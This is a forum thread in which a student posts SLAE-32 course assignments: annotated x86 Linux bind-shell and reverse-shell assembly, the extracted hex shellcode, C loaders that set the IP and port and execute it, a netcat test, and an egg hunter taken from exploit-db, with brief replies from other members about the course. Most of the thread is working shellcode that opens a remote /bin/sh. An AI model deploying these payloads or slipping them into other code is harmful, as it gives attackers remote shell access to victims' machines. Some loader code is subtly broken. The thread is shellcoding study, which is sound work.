; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
xchg eax, ebx ; EBX = CFD, EAX = 00000005
xchg ecx, edi ; ECX ~= 00000007 (or higher, does not matter)
; XCHG ECX, EDI saves us having to zero ecx and set it to 3
reduceecxtozero:
dec ecx ; eventually, ECX = 00000002
mov al, 0x3f ; DUP2(2) (ECX 2=stderr,1=stdout,0=stdin)
int 0x80 ; SYSCALL DUP2(2)
jnz reduceecxtozero ; Until ECX = 0 meaning stdin was DUP2'd
; spawn /bin/sh shell
; Note that EAX is set to 00000000 upon last succesful execution of DUP2
push eax ; PUSH 00000000 (NULL byte)
push eax ; PUSH 00000000 (NULL byte)
pop ecx ; ECX = 00000000 (EXECVE ARGV)
pop edx ; EDX = 00000000 (EXECVE ENVP)
; push '/bin//sh, 0' on stack
push eax ; PUSH 00000000 (NULL byte)
mov al, 0xb ; EXECVE(2)
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
xchg esp, ebx ; Save a byte by sacrificing unneeded ESP
int 0x80 ; Start /bin/sh in the client socket FD
; Shellcode:
;"\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97"
;"\x5b\x58\x66\xb8\x15\xb3\x66\x50\x66\x53\x89\xe1\x31\xc0\xb0\x10"
;"\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x50\x57\xb0\x66\x43\x43\x89"
;"\xe1\xcd\x80\xb0\x66\x43\xcd\x80\x93\x87\xcf\x49\xb0\x3f\xcd\x80"
;"\x75\xf9\x50\x59\x50\x5a\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f"
;"\x62\x69\x6e\x87\xe3\xcd\x80"
; Note: If you get a "Segmentation fault (core dumped), please wait until the
; socket is freed. This typically takes 60 seconds on Linux.
;======================================================================
Note: To get the shellcode of the program, I use this piece of excellent command-line-fu:
Get all shellcode on binary file from objdump | commandlinefu.com
$ objdump -d ./bind5555|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -dcut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
I create a small piece of C-code to load the shellcode:
/*===================================================================*/
/*
Filename: bindshell.c
Author: JollyFrogs (LookoutFrog@gmail.com)
License: This work is licensed under a Creative Commons
Attribution-NonCommercial 4.0 International License.
Compile:
gcc -m32 -fno-stack-protector -z execstack bindshell.c -o bindshell
*/
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
unsigned char shellcode[] = \
"\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97"
"\x5b\x58\x66\xb8\x15\xb3\x66\x50\x66\x53\x89\xe1\x31\xc0\xb0\x10"
"\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x50\x57\xb0\x66\x43\x43\x89"
"\xe1\xcd\x80\xb0\x66\x43\xcd\x80\x93\x87\xcf\x49\xb0\x3f\xcd\x80"
"\x75\xf9\x50\x59\x50\x5a\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x87\xe3\xcd\x80";
static bool shellcode_zerocheck() {
// initialize counter
int i = 0;
// check each byte in shellcode array for hexidecimal zero value, return false if zero found
for(i = 0; i < sizeof(shellcode)-1; i++) {if (shellcode == '\x00') return false;}
// Return true if no zeroes found
return true;
}
static bool shellcode_setport(char *buf, int port) {
// Check if decimal port is valid
if (port<1024 || port>65535) return false;
// The offset of the port is 21, but reduce by 1 since the array counts from 0
int shellcode_port_offset = 20; // (\x15\xb3)
// convert decimal port to hexidecimal
*(short *)(buf+shellcode_port_offset) = port; // (\x15\xb3) - shellcode array counts from 0
// Swap port bytes to accomodate for Little Endian memory structure
char tmp = buf[shellcode_port_offset];
buf[shellcode_port_offset] = buf[shellcode_port_offset+1];
buf[shellcode_port_offset+1] = tmp;
// Check if the hexidecimal port contains zeroes, if it does then show an error
if (shellcode[20] == '\x00' || shellcode[21] == '\x00') {
printf("port HEX contains zeroes\n"); return false;
}
// Return true if all checks passed
return true;
}
main () {
// Port in decimal - should be higher than 1024 and lower than 65536
int port = 1234;
// Basic error checking
if (!shellcode_setport(shellcode, port)) {printf("ERROR: Invalid port\n");return 0;}
if (!shellcode_zerocheck()) {printf("ERROR: Shellcode contains zeroes\n");return 0;}
// Print shellcode length.
printf("Shellcode Length: %d\n", strlen(shellcode));
// Run assembly commands
__asm__ (
// Initialize registers
"movl $0x12345678, %eax\n\t"
"movl $0x12345678, %ebx\n\t"
"movl $0x12345678, %ecx\n\t"
"movl $0x12345678, %edx\n\t"
"movl $0x12345678, %edi\n\t"
"movl $0x12345678, %esi\n\t"
"movl $0x12345678, %ebp\n\t"
// execute shellcode
"jmp shellcode");
}
/* Assembly source of shellcode:
global _start
section .text
_start:
; parameters for SOCKET(2) are placed on the stack in reverse order
; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
; Before instruction "int 0x80" the stack should look like:
; 02 00 00 00 01 00 00 00 00 00 00 00
; ^AF_INET ^S_STREAM ^TCP
xor eax, eax ; EAX = 00000000
push eax ; PUSH 00000000 (TCP)
inc eax ; EAX = 00000001
push eax ; PUSH 00000001 (SOCK_STREAM)
pop ebx ; EBX = 00000001 (SOCKETCALL.SOCKET)
push eax ; PUSH 00000001 (SOCK_STREAM)
inc eax ; EAX = 00000002
push eax ; PUSH 00000002 (AF_INET)
; invoke socketcall to create the socket
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
mov ecx, esp ; ECX = points to top of stack (0xBFFFF3E4)
int 0x80 ; SYSCALL SOCKETCALL(2)-SOCKET(2)
xchg edi, eax ; store fd in edi
; parameters for BIND(2) are placed on the stack in reverse order
; BIND(2) Synopsis: int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 00 00 00 00
; ^FD ^ ^structlen ^AFNT ^port ^in_addr
; | PTR to
^
pop ebx ; EBX = 00000002 (SOCKETCALL.BIND)
pop eax ; EAX = 00000001
; Note: Stack = 00000000
mov ax, 0xB315 ; EAX = 0000B315 (5555 reversed)
push ax ; PUSH B315 (sockaddr_2)
push bx ; PUSH 0002 (sockaddr_3)
mov ecx, esp ; ECX = ESP (0xBFFFF3E
xor eax, eax ; EAX = 00000000
mov al, 0x10 ; EAX = 00000010
push eax ; PUSH 00000010 (len(sockaddr))
push ecx ; PUSH (*ADDR) (ptr to sockaddr)
push edi ; push (FD) (SOCKFD)
; invoke socketcall to bind the socket to IP and port
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
mov ecx, esp ; ECX = points to top of stack (0xBFFFF3DC)
int 0x80 ; SYSCALL SOCKETCALL(2)-BIND(2)
; parameters for LISTEN(2) are placed on the stack in reverse order
; LISTEN(2) Synopsis: listen(int sockfd, int backlog)
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 00 00 00 00
; ^FD ^Backlog = 0
; Note that EAX = 00000000 due to return code from SOCKETCALL above
push eax ; PUSH 00000000 (Backlog)
push edi ; PUSH (FD) (SOCKFD)
; invoke socketcall to set the socket in listen mode
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
inc ebx ; EBX = 00000003
inc ebx ; EBX = 00000004 (SOCKETCALL.LISTEN)
mov ecx, esp ; ECX = points to top of stack (0xBFFFF3D4)
int 0x80 ; SYSCALL SOCKETCALL(2)-LISTEN(2)
; Note: The selected port is opened on the system and listening
; parameters for ACCEPT(2) are placed on the stack in reverse order
; ACCEPT(2) Synopsis: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 00 00 00 00 00 00 00 00
; Note that EAX is set to 0 upon successful execution of SOCKETCALL.LISTEN
; Note that stack at 0xBFFFF3D4 already contains what I need:
; 07 00 00 00 00 00 00 00 00 00 00 00
; invoke socketcall to set the socket to accept connections
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
inc ebx ; EBX = 00000005 (SOCKETCALL.ACCEPT)
int 0x80 ; SYSCALL SOCKETCALL(2)-ACCEPT(2)
; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
xchg eax, ebx ; EBX = CFD, EAX = 00000005
xchg ecx, edi ; ECX = 00000007
; XCHG ECX, EDI saves us having to zero out ecx and then MOV 3
redirect:
dec ecx ; ECX = 00000002 (eventually)
mov al, 0x3f ; DUP2(2) (3 times - ECX=2, ECX=1, ECX=0)
int 0x80 ; SYSCALL DUP2(2) (ECX=2, ECX=1, ECX=0)
jnz redirect ;
; spawn /bin/sh shell
; Note that EAX is set to 00000000 upon last succesful execution of DUP2
push eax ; PUSH 00000000 (NULL byte)
pop ecx ; ECX = 00000000 (EXECVE ARGV)
push eax ; PUSH 00000000 (NULL byte)
pop edx ; EDX = 00000000 (EXECVE ENVP)
; push '/bin//sh, 0' on stack
push eax ; PUSH 00000000 (NULL byte)
mov al, 0xb ; EXECVE(2)
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
xchg esp, ebx ; Save a byte by sacrificing unneeded ESP
int 0x80 ; Start /bin/sh in the client socket FD
*/
/*===================================================================*/ -
JollyFrogs Member Posts: 97 ■■■□□□□□□□I plan to complete at least one assignment each weekend. I won't have time to do any assignments during the week due to work commitments. The first assignment took a long time to complete (2 days) but this is mainly due to my excessive commenting and need to understand every single line of code. Assignment 2 should be easier and possibly shorter in code; I plan to complete it this weekend.
-
ITSpectre Member Posts: 1,040 ■■■■□□□□□□+10
Subbing to this thread so I don't miss anything.In the darkest hour, there is always a way out - Eve ME3 :cool:
“The measure of an individual can be difficult to discern by actions alone.” – Thane Krios -
the_Grinch Member Posts: 4,165 ■■■■■■■■■■Awesome!!!! Thanks for the review and can't wait to see your PASSED post!WIP:
PHP
Kotlin
Intro to Discrete Math
Programming Languages
Work stuff -
JollyFrogs Member Posts: 97 ■■■□□□□□□□I completed assignment 2 today! Reusing the code from assignment 1 was helpful, only a few small challenges here mainly with setting the IP address via the c code:
Assignment #2:
- Create a shell_reverse_tcp assembly shellcode which:
- Reverse connects to configured IP and Port
- Execs shell on successful connection
- IP and Port should be easily configurable
==========================================
==========================================
Similar to assignment #1 where we were asked to write a bind-shell, assignment #2 focuses on the more useful reverse shell. I'll be reusing much of the code of assignment #1 for this exercise and will use it as a starting point.
$ man 2 connect
The connect() system call connects the socket referred to by the file
descriptor sockfd to the address specified by addr. The addrlen argu‐
ment specifies the size of addr. The format of the address in addr is
determined by the address space of the socket sockfd; see socket(2) for
further details.
In summary, this is what we need to do to create a reverse shell:
- create socket
- connect to a remote IP and remote port
- Pass /bin/sh to new client socket using execve
We'll modify the existing bindshell.nasm code from assignment #1 as follows:
;======================================================================
; rshell1.nasm
;
global _start
section .text
_start:
; parameters for SOCKET(2) are placed on the stack in reverse order
; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
; Before instruction "int 0x80" the stack should look like:
; 02 00 00 00 01 00 00 00 00 00 00 00
; ^AF_INET ^S_STREAM ^TCP
xor eax, eax ; set EAX to 00000000
push eax ; PUSH 00000000 (TCP)
inc eax ; EAX = 00000001
push eax ; PUSH 00000001 (SOCK_STREAM)
inc eax ; EAX = 00000002
push eax ; PUSH 00000002 (AF_INET)
; invoke socketcall to create the socket
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
xor ebx, ebx ; EBX = 00000000
inc ebx ; EBX = 00000001 (SOCKETCALL.SOCKET)
mov ecx, esp ; ECX = points to top of stack
int 0x80 ; SYSCALL SOCKETCALL(2)-SOCKET(2)
mov edi, eax ; store fd in edi
; parameters for CONNECT(2) are placed on the stack in reverse order
; CONNECT(2) Synopsis: int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 7F 01 01 01
; ^FD ^ ^structlen ^AFNT ^port ^out_addr
; | PTR to
^
pop ebx ; EBX = 00000002
mov eax, 0x0101017F ; EAX = 0101017F (127.1.1.1 reversed)
push eax ; PUSH 0101017F (sockaddr_1 = 127.1.1.1)
mov ax, 0xB315 ; EAX = 0000B315 (5555 reversed)
push ax ; PUSH B315 (sockaddr_2 = 5555)
push bx ; PUSH 0002 (sockaddr_3 = 2)
inc ebx ; EBX = 00000003 (SOCKETCALL.CONNECT)
mov ecx, esp ; ECX = ESP
xor eax, eax ; EAX = 00000000
mov al, 0x10 ; EAX = 00000010
push eax ; PUSH 00000010 (len(sockaddr))
push ecx ; PUSH (*ADDR) (ptr to sockaddr)
push edi ; push (FD) (SOCKFD)
; invoke socketcall to connect the socket to IP and port
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
mov ecx, esp ; ECX = points to top of stack
int 0x80 ; SYSCALL SOCKETCALL(2)-CONNECT(2)
; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
xchg edi, ebx ; EBX = FD (SOCKFD)
xor ecx, ecx ; ECX = 00000000
mov cl, 3 ; ECX = 00000003
redirect:
dec ecx ; ECX = 00000002
mov al, 0x3f ; DUP2(2) (3 times - ECX=2, ECX=1, ECX=0)
int 0x80 ; SYSCALL DUP2(2) (ECX=2, ECX=1, ECX=0)
jnz redirect ;
; spawn /bin/sh shell
salc ; EAX = 00000000
push eax ; PUSH 00000000 (NULL byte)
pop ecx ; ECX = 00000000 (EXECVE ARGV)
push eax ; PUSH 00000000 (NULL byte)
pop edx ; EDX = 00000000 (EXECVE ENVP)
; push '/bin//sh, 0' on stack
push eax ; PUSH 00000000 (NULL byte)
mov al, 11 ; EXECVE(2)
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ptr to "/bin//sh" string
int 0x80 ; Start /bin/sh in the socket FD
;======================================================================
$ ./compile.sh rshell1
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
$ gdb rshell1 -ex 'break _start' -ex 'run' -ex 'display/32b $esp'
The code can be optimized in a similar way as assignment 1:
;======================================================================
; Filename: rshell2.nasm
; Author: JollyFrogs (LookoutFrog@gmail.com)
; Purpose: This shellcode creates a /bin/sh TCP reverse shell to port 5555
; Size: 79 Bytes
;
; License: This work is licensed under a Creative Commons
; Attribution-NonCommercial 4.0 International License.
;
; To change the port, change the bytes "\x15\xb3" (5555 in reverse order)
; To change the IP, change "\x7f\x01\x01\x01" (127.1.1.1 in reverse order)
;
; Compilation:
; nasm -f elf32 -o rshell2.o rshell2.nasm | ld -o rshell2 rshell2.o
global _start
section .text
_start:
; Note: parameters are placed on the stack in reverse order due to little endianness
;
; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
; Before instruction "int 0x80" the stack should look like:
; 02 00 00 00 01 00 00 00 00 00 00 00
; ^AF_INET ^S_STREAM ^TCP
xor eax, eax ; EAX = 00000000
push eax ; PUSH 00000000 (TCP)
inc eax ; EAX = 00000001
push eax ; PUSH 00000001 (SOCK_STREAM)
pop ebx ; EBX = 00000001 (SOCKETCALL.SOCKET)
push eax ; PUSH 00000001 (SOCK_STREAM)
inc eax ; EAX = 00000002
push eax ; PUSH 00000002 (AF_INET)
; invoke socketcall to create the socket
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
mov ecx, esp ; ECX = points to top of stack (0xBFFFF3E4)
int 0x80 ; SYSCALL SOCKETCALL(2)-SOCKET(2)
xchg edi, eax ; store fd in edi
; parameters for CONNECT(2) are placed on the stack in reverse order
; CONNECT(2) Synopsis: int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 7F 01 01 01
; ^FD ^ ^structlen ^AFNT ^port ^out_addr
; | PTR to
^
mov eax, 0x0101017F ; EAX = 0101017F (127.1.1.1 reversed)
push eax ; PUSH 0101017F (127.1.1.1)
mov ax, 0xB315 ; EAX = 0000B315 (5555 reversed)
inc ebx ; EBX = 00000002
push ax ; PUSH B315 (sockaddr_2)
push bx ; PUSH 0002 (sockaddr_3)
inc ebx ; EBX = 00000002 (SOCKETCALL.CONNECT)
mov ecx, esp ; ECX = ESP (0xBFFFF3E
xor eax, eax ; EAX = 00000000
mov al, 0x10 ; EAX = 00000010
push eax ; PUSH 00000010 (len(sockaddr))
push ecx ; PUSH (*ADDR) (ptr to sockaddr)
push edi ; push (FD) (SOCKFD)
; invoke socketcall to connect the socket to IP and port
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
mov ecx, esp ; ECX = points to top of stack (0xBFFFF3DC)
int 0x80 ; SYSCALL SOCKETCALL(2)-CONNECT(2)
; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
xchg ecx, ebx ; ECX = 00000003
xchg ebx, edi ; EBX = SOCKFD
; XCHG ECX, EBX saves having to zero ecx and set it to 3
reduceecxtozero:
dec ecx ; ECX = 00000002 (then 00000001, then 00000000)
mov al, 0x3f ; EAX = 0000003F DUP2(2) (ECX 2=stderr,1=stdout,0=stdin)
int 0x80 ; SYSCALL DUP2(2)
jnz reduceecxtozero ; Until ECX = 0 meaning stdin was DUP2'd
; spawn /bin/sh shell
; Note that EAX is set to 00000000 upon last succesful execution of DUP2
push eax ; PUSH 00000000 (NULL byte)
push eax ; PUSH 00000000 (NULL byte)
pop ecx ; ECX = 00000000 (EXECVE ARGV)
pop edx ; EDX = 00000000 (EXECVE ENVP)
; push '/bin//sh, 0' on stack
push eax ; PUSH 00000000 (NULL byte)
mov al, 0xb ; EXECVE(2)
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
xchg esp, ebx ; Save a byte by sacrificing unneeded ESP
int 0x80 ; Start /bin/sh in the client socket FD
;======================================================================
$ objdump -d ./rshell2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -dcut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
OUTPUT: "\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97\xb8\x7f\x01\x01\x01\x50\x66\xb8\x15\xb3\x43\x66\x50\x66\x53\x43\x89\xe1\x31\xc0\xb0\x10\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x87\xcb\x87\xdf\x49\xb0\x3f\xcd\x80\x75\xf9\x50\x50\x59\x5a\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xcd\x80"
I reused the code from assignment 1, and added an option to easily set the IP
/*===================================================================*/
/*
Filename: rshell.c
Author: JollyFrogs (LookoutFrog@gmail.com)
License: This work is licensed under a Creative Commons
Attribution-NonCommercial 4.0 International License.
Compile:
gcc -m32 -fno-stack-protector -z execstack rshell.c -o rshell
Shellcode size: 79 Bytes
*/
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <stdbool.h>
unsigned char shellcode[] = \
"\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97"
"\xb8\x7f\x01\x01\x01\x50\x66\xb8\x15\xb3\x43\x66\x50\x66\x53\x43"
"\x89\xe1\x31\xc0\xb0\x10\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x87"
"\xcb\x87\xdf\x49\xb0\x3f\xcd\x80\x75\xf9\x50\x50\x59\x5a\x50\xb0"
"\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xcd\x80";
static bool shellcode_zerocheck() {
// initialize counter
int i = 0;
// check each byte in shellcode array for hexidecimal zero value, return false if zero found
for(i = 0; i < sizeof(shellcode)-1; i++) {
if (shellcode == '\x00') {
printf("Zero found in shellcode at position %i\n",i);
return false;
}
}
// Return true if no zeroes found
return true;
}
static bool shellcode_settargetport(char *buf, int port) {
// Check if decimal port is valid
if (port<1024 || port>65535) return false;
// The offset of the port is 21, but reduce by 1 since the array counts from 0
int port_offset = 24; // (\x15\xb3)
// convert decimal port to hexidecimal
*(short *)(buf+port_offset) = port; // (\x15\xb3) - shellcode array counts from 0
// Swap port bytes to accomodate for Little Endian memory structure
char tmp = buf[port_offset];
buf[port_offset] = buf[port_offset+1];
buf[port_offset+1] = tmp;
// Check if the hexidecimal port contains zeroes, if it does then show an error
if (shellcode[port_offset] == '\x00' || shellcode[port_offset+1] == '\x00') {
printf("port HEX contains zeroes\n"); return false;
}
// Return true if all checks passed
return true;
}
static bool shellcode_settargetip(char *buf, char *ip) {
int ip_offset = 17; // (\x7f\x01\x01\x01\)
unsigned char value[4] = {0};
size_t index = 0;
while (*ip) {
if (isdigit((unsigned char)*ip)) {
value[index] *= 10;
value[index] += *ip - '0';
} else {
index++;
}
ip++;
}
// check each byte in shellcode array for hexidecimal zero value, return false if zero found
int i = 0; for(i = 0; i < 4; i++) {
*(char *)(buf+ip_offset+i) = value;
if (shellcode[ip_offset+i] == '\x00'){printf("port HEX contains zeroes\n"); return false;}
}
// Return true if all checks passed
return true;
}
main () {
// Port in decimal - should be higher than 1024 and lower than 65536
int targetport = 1234;
char *targetip = "127.1.1.1";
// Basic error checking
if (!shellcode_settargetport(shellcode, targetport)) {printf("ERROR: Invalid targetport\n");return 0;}
if (!shellcode_settargetip(shellcode, targetip)) {printf("ERROR: Invalid targetip\n");return 0;}
if (!shellcode_zerocheck()) {printf("ERROR: Shellcode contains zeroes\n");return 0;}
// Print shellcode length.
printf("Shellcode Length: %d\n", strlen(shellcode));
// Run assembly commands
__asm__ (
// Initialize registers
"movl $0x12345678, %eax\n\t"
"movl $0x12345678, %ebx\n\t"
"movl $0x12345678, %ecx\n\t"
"movl $0x12345678, %edx\n\t"
"movl $0x12345678, %edi\n\t"
"movl $0x12345678, %esi\n\t"
"movl $0x12345678, %ebp\n\t"
// execute shellcode
"jmp shellcode");
}
/*
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 40 inc %eax
8048064: 50 push %eax
8048065: 5b pop %ebx
8048066: 50 push %eax
8048067: 40 inc %eax
8048068: 50 push %eax
8048069: b0 66 mov $0x66,%al
804806b: 89 e1 mov %esp,%ecx
804806d: cd 80 int $0x80
804806f: 97 xchg %eax,%edi
8048070: b8 7f 01 01 01 mov $0x101017f,%eax
8048075: 50 push %eax
8048076: 66 b8 15 b3 mov $0xb315,%ax
804807a: 43 inc %ebx
804807b: 66 50 push %ax
804807d: 66 53 push %bx
804807f: 43 inc %ebx
8048080: 89 e1 mov %esp,%ecx
8048082: 31 c0 xor %eax,%eax
8048084: b0 10 mov $0x10,%al
8048086: 50 push %eax
8048087: 51 push %ecx
8048088: 57 push %edi
8048089: b0 66 mov $0x66,%al
804808b: 89 e1 mov %esp,%ecx
804808d: cd 80 int $0x80
804808f: 87 cb xchg %ecx,%ebx
8048091: 87 df xchg %ebx,%edi
08048093 <reduceecxtozero>:
8048093: 49 dec %ecx
8048094: b0 3f mov $0x3f,%al
8048096: cd 80 int $0x80
8048098: 75 f9 jne 8048093 <reduceecxtozero>
804809a: 50 push %eax
804809b: 50 push %eax
804809c: 59 pop %ecx
804809d: 5a pop %edx
804809e: 50 push %eax
804809f: b0 0b mov $0xb,%al
80480a1: 68 2f 2f 73 68 push $0x68732f2f
80480a6: 68 2f 62 69 6e push $0x6e69622f
80480ab: 87 e3 xchg %esp,%ebx
80480ad: cd 80 int $0x80
*/
/*===================================================================*/
By listening on port 1234 on all ip addresses (local IP) we set up the reverse shell:
$ gcc -m32 -fno-stack-protector -z execstack rshell.c -o rshell
slae@slae-VirtualBox:~$ nc -lv 1234
$ ./rshell
OUTPUT: Connection from 127.0.0.1 port 1234 [tcp/*] accepted
Note that if no listener is set up, we get a segmentation fault: This is due to trying to create /bin/sh in a non-existant file descriptor. -
JollyFrogs Member Posts: 97 ■■■□□□□□□□btw I'll be posting all the source-codes in a github as well. I noticed that some of the code is actually changed by smilies. I'll post the github location as soon as I create it.
-
wd40 Member Posts: 1,017 ■■■■□□□□□□Thanks for the great review, small question, why did you choose 32bit assembly and not 64bit?
Most servers (and a significant percentage of PC's) these days will be 64bit. -
JollyFrogs Member Posts: 97 ■■■□□□□□□□Thanks for the great review, small question, why did you choose 32bit assembly and not 64bit?
Most servers (and a significant percentage of PC's) these days will be 64bit.
Hi WD,
True. This is something that Vivek, in this course, also addresses. One reason for me is that I think the OSCE will likely focus on 32-bit. Also, there are still plenty of 32-bit machines and apps out there that use 32-bit. It's a logical progression to start on 32-bit and then move on to 64-bit later. Many of the concepts explained (CPU/registers/memory etc) apply whether 32 or 64 bit. -
Slyth Member Posts: 58 ■■■□□□□□□□Hi JollyFrogs! You will enjoy the course, Vivek does very well in teaching 32bit ASM. I took this course prior to OSCP and it did help through the BOF section(probably 40 minutes for the windows/Linux exercises + the extra miles). I plan on going back over it after i completed OSCP. Enjoy!
-
BlackBeret Member Posts: 683 ■■■■■□□□□□Great write-up, thank you for the information. I've been eyeballing this course and used security tube when I was taking the OSCP to learn more about assembly. Can I ask where you found the free option for blasting it out on social media? I already follow them on all of my accounts and would be interested in that, unless it was a promotional deal and is gone, I can't seem to find it anywhere.
-
the_Grinch Member Posts: 4,165 ■■■■■■■■■■x86/64 Assembly and Shellcoding on Linux « SecurityTube Training <----Looks like they do have a 64bit course nowWIP:
PHP
Kotlin
Intro to Discrete Math
Programming Languages
Work stuff -
BlackBeret Member Posts: 683 ■■■■■□□□□□Were the videos the same ones from the normal site? http://www.securitytube.net/groups?operation=view&groupId=5
It still seems that the course is worth it for the exercises, but if the videos are the same it might be a good start before purchasing the course. -
SaSkiller Member Posts: 337 ■■■□□□□□□□Nice, I have access to SLAE, but doing it is pretty far off right now.OSWP, GPEN, GWAPT, GCIH, CPT, CCENT, CompTIA Trio.
-
JollyFrogs Member Posts: 97 ■■■□□□□□□□I had a small dilemma this weekend.. I'm currently doing 4 things that compete for my time:
- a small CTF event
- the SLAE-32 course assignments
- a zero-day that I and a colleague found last week in a popular device (working for manufacturer now)
- a big project at work that requires my time
All of the above fall in the infosec category. I've decided to focus my time on the SLAE course assignments although some of the above are good fun (and probably fall a little bit in the procrastination category). Once I have completed the assignments, I can refocus my time on the other items. The CTF event will start on the 24th and lasts only 2 days; I do have a reservation for it, but I doubt I'll be able to spend any time on it since it falls on weekdays and other items have priority.
So today, I work on Assignment #3 -
JollyFrogs Member Posts: 97 ■■■□□□□□□□Assignment #3:
- Study Egg Hunter shellcode
- Create a working demo of an egghunter
- The egg hunter should be configurable for different payloads
=============================================
Looking on exploit-db.com, there are various egghunter shellcodes available. Most come with detailed explanations of how they work. The goal of this assignment is to study the shellcode to figure out how egghunters work. Upon reading generic egghunter shellcodes, the goal of egghunters is simple: Tag large shellcode with an "egg", and use a very small piece of code - the egg hunter - to find the egg and jump to the egg to execute the shellcode. The reason for egg hunting code is that sometimes, there isn't enough space in memory to store a large piece of exploit code: With an egg hunter, you can store shellcode in any part of memory using other techniques than the actual vulnerability in a program - for instance via program parameters - , search for it, then execute it.
I found the following PDF which details how egg hunters work:
http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
I then found the following exploit which uses an egghunter:
https://www.exploit-db.com/exploits/37749/
/* ==================================================================== */
/*
Title: Linux x86 Egg Hunter Shellcode (19 bytes)
Date: 4 August 2015
Author: Guillaume Kaddouch
Website: http://networkfilter.blogspot.com
Twitter: @gkweb76
Tested on: Ubuntu 14.04.2 LTS x86, Kali Linux 1.0.9 x86
This code was created as an exercise for the SecurityTube Linux Assembly Expert (SLAE).
Egg signature = 0x50905090 (push eax, nop, push eax, nop)
Usually egg hunters use a 2 * 4 bytes (8 bytes) egg because the first address check could match the hardcoded egg signature in
the egg hunter itself. As we do not store hardcoded egg signature below, it allows us to check only 4 bytes once.
egg-hunter.asm:
global _start
section .text
_start:
mov eax, addr ; retrieve a valid address (shorter than using JMP CALL POP)
mov ebx, dword 0x5090508f ; egg signature altered: 0x50905090 - 1
inc ebx ; fix egg signature in ebx (the purpose is to not store the hardcoded egg signature)
next_addr:
inc eax ; increasing memory address to look at next address
cmp dword [eax], ebx ; check if our egg is at that memory address, if yes set ZF = 1
jne next_addr ; if ZF = 0 (check failed), then jump to next_addr to check next address
jmp eax ; we found our egg (ZF = 1), jump at this address
addr: db 0x1
*/
/*
myegg1.c:
Compile with: gcc -fno-stack-protector -z execstack myegg1.c -o myegg1
*/
#include<stdio.h>
#include<string.h>
// Egg hunter 19 bytes (\x00 \x0a \x0d free)
unsigned char egghunter[] = \
"\xb8\x72\x80\x04\x08\xbb\x8f\x50\x90\x50\x43\x40\x39\x18\x75"
"\xfb\xff\xe0\x01";
// Print 'Egg Found!!' on screen
// You can swap it out with any shellcode you like (as long as you keep the egg mark)
unsigned char shellcode[] = \
"\x90\x50\x90\x50" // egg mark
"\xeb\x16\x59\x31\xc0\x50\xb0\x04\x31\xdb\xb3\x01\x31\xd2\xb2"
"\x0c\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xe5\xff\xff\xff\x45"
"\x67\x67\x20\x46\x6f\x75\x6e\x64\x21\x21\x0a";
main()
{
printf("Egg hunter shellcode Length: %d\n", strlen(egghunter));
int (*ret)() = (int(*)())egghunter;
ret();
}
/* ==================================================================== */
slae@slae-VirtualBox:~/SLAE/exam/assignment-3$ gcc -fno-stack-protector -z execstack myegg1.c -o myegg1
